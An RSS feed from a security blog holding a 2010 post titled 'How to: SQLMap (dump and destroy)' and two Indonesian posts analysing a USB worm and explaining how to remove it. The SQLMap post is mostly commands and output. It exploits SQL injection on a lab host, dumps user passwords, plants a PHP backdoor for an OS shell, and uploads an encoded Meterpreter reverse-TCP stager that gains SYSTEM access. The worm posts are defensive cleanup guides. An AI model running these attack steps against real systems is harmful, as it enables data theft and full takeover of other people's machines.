<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>live(in)security &#187; Research</title>
	<atom:link href="http://tom.postnix.org/category/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://tom.postnix.org</link>
	<description>as you wish, you&#039;ll never feel secure</description>
	<lastBuildDate>Thu, 09 Sep 2010 08:56:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to: SQLMap (dump and destroy)</title>
		<link>http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=how-to-sqlmap-dump-and-destroy</link>
		<comments>http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 16:21:57 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://tom.postnix.org/?p=535</guid>
		<description><![CDATA[SQLMap is the tool to]]></description>
			<content:encoded><![CDATA[<p>SQLMap is the tool to automate SQL Injection vulnerability exploitation. This tool is very popular to exploit the SQL Injection vulnerability. While most of web hacker enthusiast knew about this tool to gather information and retrieves the tables information, i try to share this information about the powerful of SQLMap rather than just as &#8220;a database dumper tool&#8221;.</p>
<p>I will separate this in 3 section, as a fingerprinter (we already knew this), as an enumerator (of course), and as a destroyer (hmm..?!). Check it out.<span id="more-535"></span></p>
<p><strong><span style="text-decoration: underline;">Fingerprinting</span></strong></p>
<p>root@bt:/pentest/database/sqlmap#<strong> ./sqlmap.py &#8211;url &#8220;http://192.168.1.102/vid.php?id=818&#8243;</strong></p>
<p>sqlmap/0.9-dev &#8211; automatic SQL injection and database takeover tool</p>
<p>http://sqlmap.sourceforge.net</p>
<p>[*] starting at: 22:26:52</p>
<p>[22:26:52] [INFO] using &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217; as session file<br />
[22:26:52] [INFO] resuming match ratio &#8217;0.972&#8242; from session file<br />
[22:26:52] [INFO] resuming injection point &#8216;GET&#8217; from session file<br />
[22:26:52] [INFO] resuming injection parameter &#8216;id&#8217; from session file<br />
[22:26:52] [INFO] resuming injection type &#8216;numeric&#8217; from session file<br />
[22:26:52] [INFO] resuming 0 number of parenthesis from session file<br />
[22:26:52] [INFO] resuming back-end DBMS &#8216;mysql 5&#8242; from session file<br />
[22:26:52] [INFO] resuming remote absolute path of temporary files directory &#8216;C:/WINDOWS/Temp&#8217; from session file<br />
[22:26:52] [INFO] testing connection to the target url<br />
[22:26:52] [INFO] testing for parenthesis on injectable parameter<br />
<strong>[22:26:52] [INFO] the back-end DBMS is MySQL</strong><br />
<strong>web server operating system: Windows<br />
web application technology: Apache 2.2.12, PHP 5.3.0<br />
back-end DBMS: MySQL 5<br />
</strong></p>
<p>[*] shutting down at: 22:26:52</p>
<p>Yes, we knew this at all. Dump the database engine, the version, and the operating system information.</p>
<p><strong><span style="text-decoration: underline;">Enumerate</span> <span style="text-decoration: underline;">Database</span><span style="text-decoration: underline;"><br />
</span></strong></p>
<p>root@bt:/pentest/database/sqlmap# <strong>./sqlmap.py &#8211;url &#8220;http://192.168.1.102/vid.php?id=818&#8243; &#8211;dbs</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>[22:28:41] [INFO] fetching database names<br />
[22:28:41] [INFO] fetching number of databases<br />
[22:28:41] [INFO] retrieved: 6<br />
[22:28:41] [INFO] retrieved: information_schema<br />
[22:28:44] [INFO] retrieved: cdcol<br />
[22:28:45] [INFO] retrieved: mysql<br />
[22:28:46] [INFO] retrieved: phpmyadmin<br />
[22:28:47] [INFO] retrieved: test<br />
[22:28:48] [INFO] retrieved: webappdb<br />
<strong>available databases [6]:<br />
[*] cdcol<br />
[*] information_schema<br />
[*] mysql<br />
[*] phpmyadmin<br />
[*] test<br />
[*] webappdb</strong></p>
<p>Dump the database, yes..SQLMap always do the great stuff!</p>
<p><span style="text-decoration: underline;"><strong>Enumerate</strong></span><strong> </strong><span style="text-decoration: underline;"><strong> tables</strong></span></p>
<p>root@bt:/pentest/database/sqlmap#<strong> ./sqlmap.py &#8211;url &#8220;http://192.168.1.102/vid.php?id=818&#8243; -D webappdb &#8211;tables</strong></p>
<p>[22:32:32] [INFO] fetching tables for database &#8216;webappdb&#8217;<br />
[22:32:32] [INFO] fetching number of tables for database &#8216;webappdb&#8217;<br />
[22:32:32] [INFO] retrieved: 2<br />
[22:32:33] [INFO] retrieved: guestbook<br />
[22:32:34] [INFO] retrieved: users<br />
<strong> Database: webappdb<br />
[2 tables]<br />
+&#8212;&#8212;&#8212;&#8211;+<br />
| guestbook |<br />
| users     |<br />
+&#8212;&#8212;&#8212;&#8211;+</strong></p>
<p><strong><span style="text-decoration: underline;">Dump the tables</span></strong></p>
<p>[22:36:54] [INFO] fetching columns for table &#8216;users&#8217; on database &#8216;webappdb&#8217;<br />
[22:36:54] [INFO] fetching number of columns for table &#8216;users&#8217; on database &#8216;webappdb&#8217;<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 4<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: id<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: name<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: password<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: country<br />
[22:36:54] [INFO] fetching entries for table &#8216;users&#8217; on database &#8216;webappdb&#8217;<br />
[22:36:54] [INFO] fetching number of entries for table &#8216;users&#8217; on database &#8216;webappdb&#8217;<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 3<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: ID<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 1<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: admin<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 123456<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: ID<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 2<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: secret<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: password<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: SG<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: 3<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: backup<br />
[22:36:54] [INFO] read from file &#8216;/pentest/database/sqlmap/output/192.168.1.102/session&#8217;: backup12<br />
<strong> Database: webappdb<br />
Table: users<br />
[3 entries]<br />
+&#8212;&#8212;&#8212;+&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
| country | id | name   | password |<br />
+&#8212;&#8212;&#8212;+&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
| ID      | 1  | admin  | 123456   |<br />
| ID      | 2  | secret | password |<br />
| SG      | 3  | backup | backup12 |<br />
+&#8212;&#8212;&#8212;+&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</strong></p>
<p>[22:36:54] [INFO] Table &#8216;webappdb.users&#8217; dumped to CSV file &#8216;/pentest/database/sqlmap/output/192.168.1.102/dump/webappdb/users.csv&#8217;<br />
[22:36:54] [INFO] Fetched data logged to text files under &#8216;/pentest/database/sqlmap/output/192.168.1.102&#8242;</p>
<p>[*] shutting down at: 22:36:54</p>
<p>SQLMap do a great job so far <img src='http://tom.postnix.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Next, take over the system!!</p>
<p><strong><span style="text-decoration: underline;">Remote Command Execution</span></strong></p>
<p>root@bt:/pentest/database/sqlmap#<strong> ./sqlmap.py &#8211;url &#8220;http://192.168.1.102/vid.php?id=818&#8243; &#8211;os-shell</strong></p>
<p><strong> </strong>[22:51:25] [INFO] trying to upload the uploader agent</p>
<p><strong> </strong>which web application language does the web server support?</p>
<p><strong> </strong></p>
<div id="_mcePaste"><span style="font-weight: normal;">[1] ASP (default)</span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>[2] PHP</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[3] JSP</span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>&gt; </strong></span><span style="font-weight: normal;"><strong>2</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[22:51:27] [WARNING] unable to retrieve the web server document root</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">please provide the web server document root [C:/xampp/htdocs/]:</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[22:51:28] [WARNING] unable to retrieve any web server path</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">please provide any additional web server full path to try to upload the agent [C:/xampp/htdocs/]:</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[22:51:28] [INFO] the uploader agent has been successfully uploaded on &#8216;C:/xampp/htdocs/&#8217; </span><span style="font-weight: normal;">(<strong>&#8216;http://192.168.1.102:80/tmpuduwd.php&#8217;</strong>)</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[22:51:28] [INFO] the backdoor has probably been successfully uploaded on &#8216;C:/xampp/htdocs/&#8217;, go with your browser to &#8216;http://192.168.1.102:80//tmpbpjbr.php&#8217; and enjoy it!</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">[22:51:28] [INFO] calling OS shell. To quit type &#8216;x&#8217; or &#8216;q&#8217; and press ENTER</span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>os-shell&gt; ipconfig</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;">do you want to retrieve the command standard output? [Y/n/a] a</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">command standard output:</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">&#8212;</span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>Windows IP Configuration</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>Ethernet adapter Local Area Connection 2:</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>Connection-specific DNS Suffix  . :</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>IP Address. . . . . . . . . . . . : 192.168.1.102</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>Subnet Mask . . . . . . . . . . . : 255.255.255.0</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;"><strong>Default Gateway . . . . . . . . . : 192.168.1.1</strong></span></div>
<div id="_mcePaste"><span style="font-weight: normal;">&#8212;</span></div>
<div id="_mcePaste"><span style="font-weight: normal;">os-shell&gt;</span></div>
<div><span style="font-weight: normal;"><br />
</span></div>
<div><span style="font-weight: normal;"><strong><span style="text-decoration: underline;">The Metasploit&#8217;s Meterpreter over SQL Injection</span></strong></span></div>
<div>
<p><span style="font-weight: normal;"> </span></p>
<div>root@bt:/pentest/database/sqlmap# <strong>./sqlmap.py &#8211;url &#8220;http://192.168.1.102/vid.php?id=818&#8243; &#8211;msf-path=/opt/metasploit3/msf3 &#8211;os-pwn</strong></div>
<div>This time, SQLMap will upload an php file contain shell_exec in order to execute arbitrary command to the remote system via php. After uploaded, SQLMap will trigger the msfpayload (Metasploit Payload) to build &#8220;portable executable&#8221; meterpreter backdoor. It will be encoded and uploaded via php shell.</div>
<div>When uploaded, SQLMap will trigger &#8220;Metasploit listener&#8221; called Multi/handler and waiting for the &#8220;portable exe backdoor&#8221; to be executed. After it executed, the meterpreter shell will come up <img src='http://tom.postnix.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </div>
<div>I will skip some information here, because it is too long to be dropped here.</div>
<div>&#8212;-the process before this line was creating the php shell and upload to document root&#8212;&#8211;</div>
<div>
<div>[22:57:05] [INFO] creating Metasploit Framework 3 payload stager</div>
<div>which connection type do you want to use?</div>
<div><strong>[1] Reverse TCP: Connect back from the database host to this machine (default)</strong></div>
<div>[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535</div>
<div>[3] Bind TCP: Listen on the database host for a connection</div>
<div><strong>&gt; 1</strong></div>
</div>
<div>
<div>which is the local address? [192.168.1.100]</div>
<div>which local port number do you want to use? [31503]</div>
<div>which payload do you want to use?</div>
<div><strong>[1] Meterpreter (default)</strong></div>
<div>[2] Shell</div>
<div>[3] VNC</div>
<div><strong>&gt; 1</strong></div>
<div>which payload encoding do you want to use?</div>
<div>[1] No Encoder</div>
<div>[2] Alpha2 Alphanumeric Mixedcase Encoder</div>
<div>[3] Alpha2 Alphanumeric Uppercase Encoder</div>
<div>[4] Avoid UTF8/tolower</div>
<div>[5] Call+4 Dword XOR Encoder</div>
<div>[6] Single-byte XOR Countdown Encoder</div>
<div>[7] Variable-length Fnstenv/mov Dword XOR Encoder</div>
<div>[8] Polymorphic Jump/Call XOR Additive Feedback Encoder</div>
<div>[9] Non-Alpha Encoder</div>
<div>[10] Non-Upper Encoder</div>
<div><strong>[11] Polymorphic XOR Additive Feedback Encoder (default)</strong></div>
<div>[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder</div>
<div>[13] Alpha2 Alphanumeric Unicode Uppercase Encoder</div>
<div><strong>&gt; 11</strong></div>
<div>[22:57:46] [INFO] creation in progress &#8230;&#8230;&#8230;&#8230;&#8230;. done</div>
<div>[22:58:03] [INFO] compression in progress . done</div>
<div>[22:58:04] [INFO] uploading payload stager to &#8216;C:/xampp/htdocs/<strong>tmpmtonj.exe&#8217;</strong></div>
<div>[22:58:04] [INFO] running Metasploit Framework 3 command line interface locally, wait..</div>
<div>[*] Please wait while we load the module tree&#8230;</div>
<div>[*] Started reverse handler on 192.168.1.100:31503</div>
<div>[*] Starting the payload handler&#8230;</div>
<div>[22:58:27] [INFO] running Metasploit Framework 3 payload stager remotely, wait..</div>
<div>[*] Sending stage (748544 bytes) to 192.168.1.102</div>
<div><strong>[*] Meterpreter session 1 opened (192.168.1.100:31503 -&gt; 192.168.1.102:2561)</strong></div>
<div>meterpreter &gt; Loading extension espia&#8230;success.</div>
<div>meterpreter &gt; Loading extension incognito&#8230;success.</div>
<div>meterpreter &gt; Loading extension priv&#8230;success.</div>
<div>meterpreter &gt; Loading extension sniffer&#8230;success.</div>
<div>meterpreter &gt; Computer: XP_FDCC</div>
<div>OS      : Windows XP (Build 2600, Service Pack 3).</div>
<div>Arch    : x86</div>
<div>Language: en_US</div>
<div>meterpreter &gt; <strong>Server username: NT AUTHORITY\SYSTEM</strong></div>
<div>meterpreter &gt;</div>
<div>
<div>meterpreter &gt;<strong> shell</strong></div>
<div>Process 3128 created.</div>
<div>Channel 1 created.</div>
<div><strong>Microsoft Windows XP [Version 5.1.2600]</strong></div>
<div><strong>(C) Copyright 1985-2001 Microsoft Corp.</strong></div>
<div><strong><br />
</strong></div>
<div><strong>C:\xampp\htdocs&gt;</strong></div>
</div>
</div>
</div>
<p>OS Pwned!</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=How+to%3A+SQLMap+%28dump+and+destroy...+http://bit.ly/aaa6DB" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=How+to%3A+SQLMap+%28dump+and+destroy...+http://bit.ly/aaa6DB" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/&amp;title=How+to%3A+SQLMap+%28dump+and+destroy..." title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/&amp;t=How+to%3A+SQLMap+%28dump+and+destroy..." title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/&amp;title=How+to%3A+SQLMap+%28dump+and+destroy..." title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2010/09/how-to-sqlmap-dump-and-destroy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>USB Worm attack ~ bagian II</title>
		<link>http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=usb-worm-attack-bagian-ii</link>
		<comments>http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/#comments</comments>
		<pubDate>Fri, 26 Dec 2008 13:24:31 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ansav]]></category>
		<category><![CDATA[antivir]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[avast]]></category>
		<category><![CDATA[registryfx]]></category>
		<category><![CDATA[usb worm]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://tom.postnix.org/?p=217</guid>
		<description><![CDATA[Sesuai dengan janji saya pada]]></description>
			<content:encoded><![CDATA[<p>Sesuai dengan janji saya pada bagian pertama, pada bagian kedua ini saya akan menjabarkan <em>technical detail </em>virus yang tergolong canggih ini. Baiklah, dimulai dari scanning flashdisk milik seorang teman, saya hapus semua yang terkait dengan virus ini namun saya karantina 1 file yang mengandung virus. File ini saya namakan <strong>sample_virus.exe</strong>. Untuk informasi, saya jabarkan sekalian proses infeksi pada flashdisk hingga kemudian bisa terinstall di komputer.</p>
<p><strong>Scan Flashdisk</strong></p>
<p>Seperti yang pernah saya utarakan, bahwa hanya 2 buah antivirus terkenal (kebetulan memang hanya ada 2 komputer yang terinstall 2 buah antivirus tersebut) yaitu <a title="Avast" href="http://www.avast.com" target="_blank">Avast Antivirus</a> dan <a title="Avira Antivir" href="http://www.free-av.com/en/download/index.html" target="_blank">Avira Antivir</a> yang mendeteksi keberadaan virus ini pada sebuah flashdisk milik teman. Terdeteksi oleh <a title="Ansav Antivirus" href="http://www.ansav.com/" target="_blank">Avast</a> sebagai <strong>Win32:Trojan-gen {Other}</strong> dan oleh Antivir sebagai <strong>R/Crypt.PEPM.Gen</strong>, sedangkan oleh Ansav dikenal dengan nama <strong>W32/Sensus</strong>. Saya tidak langsung menghapus semua file virus dengan antivirus, namun saya menghapusnya secara manual. Berikut langkah-langkahnya:<span id="more-217"></span></p>
<ol>
<li>Buka command prompt</li>
<li>Pindah ke drive letter milik flashdisk (misal F:), ketikkan F:</li>
<li>Reset semua attribute file dan folder pada flashdisk, lakukan pada command prompt seperti berikut: <span style="font-family: monospace;">F:&gt;attrib -s -r -h /s /d </span></li>
<li>Buka My Computer &#8211;&gt; Search, tentukan tempat pencarian hanya pada flashdisk (drive F: saja), lalu masukkan query *.exe pada kolom pencarian. Hal ini untuk mencari file dengan ekstensi .exe. Pastikan File yang dihapus hanyalah file dengan icon Word Document.</li>
<li>Yang saya lakukan berikutnya adalah mengambil satu contoh file virus dan mengurungnya dengan kompresi file (saya menggunakan <a title="7Zip" href="http://www.7-zip.org/" target="_blank">7zip</a>) dan dipassword.</li>
<li>Cek file autorun.inf, perhatikan path tempat virus bersemayam.</li>
<li>Cek direktori RECYCLER\[subfolder] apakah ada file berekstensi .exe, kalau ada langsung hapus.</li>
<li>Safe and Remove Hardware &#8211;&gt; Cabut flashdisk.</li>
</ol>
<p><strong>Percobaan Install Virus</strong></p>
<p>Virus yang barusan saya karantina akan dianalisa kerjanya, maka saya sengaja menjalankan virus tersebut pada sistem  Windows XP di <a title="VMware" href="http://en.wikipedia.org/wiki/VMware" target="_blank">VMware</a>. Setelah diinstall, saya menjalankan <a title="Process Explorer for Windows" href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx" target="_blank">Process Explorer</a> dari <a title="Windows Sysinternals" href="http://technet.microsoft.com/en-us/sysinternals/default.aspx" target="_blank">SysInternals </a>dan hasilnya menunjukkan bahwa virus menjalankan file-file berikut:</p>
<ul>
<li>services.exe</li>
<li>WINWORD.exe</li>
</ul>
<p>Semua proses ini akan menjadi janggal ketika saya tidak menginstall apa-apa pada sistem operasi Windows XP tersebut, karena memang masih fresh install. Yang mengejutkan, services.exe membawahi program ping.exe untuk melakukan ping ke www.putera.com sebanyak 30000 kali, hmm..DoS?</p>
<p>Dari ketiga proses tersebut, analisa dilanjutkan untuk mencari keberadaan ketiga file tersebut.</p>
<ul>
<li>File services.exe terdapat pada direktori C:\&gt;Program Files\mIRC\IRC Bot\</li>
<li>File WINWORD.EXE terdapat pada direktori C:\&gt;Program Files\Microsoft Office\</li>
</ul>
<p>Khusus file services.exe, direktori C:\&gt;Program Files\mIRC\IRC Bot\ akan tidak terlihat, saya menggunakan metode <span style="font-family: monospace;">attrib</span> seperti sebelumnya untuk mengeluarkan direktori IRC Bot. Setelah mengetahui cara kerja virus, saya melakukan pemberangusan proses yang berjalan di belakang layar tersebut menggunakan Process Explorer. Dengan memilih Kill Process Tree pada ketiga proses, maka proses yang &#8220;nebeng&#8221; ketiga program tersebut ikut diberangus. Untuk sementara virus tidak berjalan, namun &#8220;sisa-sisa kotoran&#8221; virus ini masih ada di komputer kita.</p>
<p><strong>Pembersihan</strong></p>
<p>Sebelum dilakukan pembersihan, yang paling penting adalah mematikan System Restore. Pembersihan kali ini menggunakan program <a title="Autoruns for Windows" href="http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx" target="_blank">Autoruns</a> keluaran <a title="Windows Sysinternals" href="http://technet.microsoft.com/en-us/sysinternals/default.aspx" target="_blank">SysInternal</a><a title="Windows Sysinternals" href="http://technet.microsoft.com/en-us/sysinternals/default.aspx" target="_blank">s</a>. Saya menjalankan program Autoruns dan mencari file-file yang dimaksud satu persatu pada tab-tab menu program Autoruns. Berikut adalah file-file yang harus dibuang dari list.</p>
<ul>
<li>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acha.exe</li>
<li>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AmyMastura.exe</li>
<li>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsz.exe</li>
<li>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\registry.exe</li>
<li>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe</li>
<li>Adobe Gamma Loader.com (pada menu Startup)</li>
</ul>
<p>Sedangkan direktori tempat bersemayam virus-virus ini pun harus segera diberangus.</p>
<ul>
<li>C:\&gt;Program Files\mIRC\IRC Bot\*.*</li>
<li>C:\&gt;Program Files\Microsoft Office\WINWORD.EXE</li>
<li>C:\&gt;Documents and Settings\[user]\Start Menu\Programs\Startup\Adobe Gamma Loader.com</li>
</ul>
<p>Untuk PC yang terinstall Microsoft Office, silakan copy file WINWORD.EXE dan CTFMON.EXE dari PC yang lain karena file sudah terinfeksi oleh virus tersebut.</p>
<p>Selanjutnya adalah pembersihan di Registry. Untuk mempermudah kerja kita, saya sarankan menggunakan plugin RegistryFX dari <a title="Ansav Antivirus" href="http://www.ansav.com/" target="_blank">Ansav Antivirus</a>, sangat powerful. Silakan download <a title="Ansav Antivirus" href="http://www.ansav.com/" target="_blank">Ansav Antivirus</a>. Setelah itu jalankan Ansav dan pilih Plugins &#8211;&gt; RegistryFX, saya menjalankan sesuai pilihan yang sudah ada. Lalu pada Registry:</p>
<ul>
<li>[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
<ul>
<li>Shell = &#8220;Explorer.exe, %ProgramFiles%\Microsoft Office\WINWORD.EXE&#8221;</li>
</ul>
</li>
</ul>
<p>Hapus value %ProgramFiles%\Microsoft Office\WINWORD.EXE, karena value ini yang selalu menjalankan WINWORD.EXE setelah sistem start. Lalu jalankan lagi fungsi Windows Defender, Automatic Updates, Windows Firewall, dan lainnya.</p>
<p>Demikian penjelasan detil teknis terhadap virus yang meresahkan kampus belakangan ini. Semoga bermanfaat.</p>
<p class="scribefire-powered">Powered by <a href="http://www.scribefire.com/">ScribeFire</a>.</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=USB+Worm+attack+%7E+bagian+II+http://bit.ly/aO3yRS" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=USB+Worm+attack+%7E+bagian+II+http://bit.ly/aO3yRS" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/&amp;title=USB+Worm+attack+%7E+bagian+II" title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/&amp;t=USB+Worm+attack+%7E+bagian+II" title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/&amp;title=USB+Worm+attack+%7E+bagian+II" title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2008/12/usb-worm-attack-bagian-ii/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>USB Worm attack ~ bagian I</title>
		<link>http://tom.postnix.org/2008/12/usb-worm-attack/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=usb-worm-attack</link>
		<comments>http://tom.postnix.org/2008/12/usb-worm-attack/#comments</comments>
		<pubDate>Wed, 24 Dec 2008 09:01:29 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[usb worm]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://tom.postnix.org/?p=207</guid>
		<description><![CDATA[Beberapa waktu yang lalu, ketika]]></description>
			<content:encoded><![CDATA[<p>Beberapa waktu yang lalu, ketika disibukkan oleh sisa-sisa kegiatan kampus, saya menemui beberapa kasus virus yang menyebar lewat media flashdisk/usb pendrive/flash drive/whatever. Karena sifat infiltrasinya yang menyebar secara masif lewat media flashdisk, saya boleh menamakannya USB worm. Dilihat dari cara kerjanya, ini jelas virus yang secara umum telah beredar di Indonesia. Biasanya virus ini cara kerjanya hampir mirip-mirip seperti:</p>
<ul>
<li>Menyamarkan file Executeable virus menjadi Word Document.</li>
<li>Melakukan perubahan attribute file menjadi RHS (Read-only, Hidden, System) sehingga tidak terlihat.</li>
<li>Mematikan Folder Options</li>
<li>Mematikan Task Manager</li>
<li>Mematikan Regedit</li>
</ul>
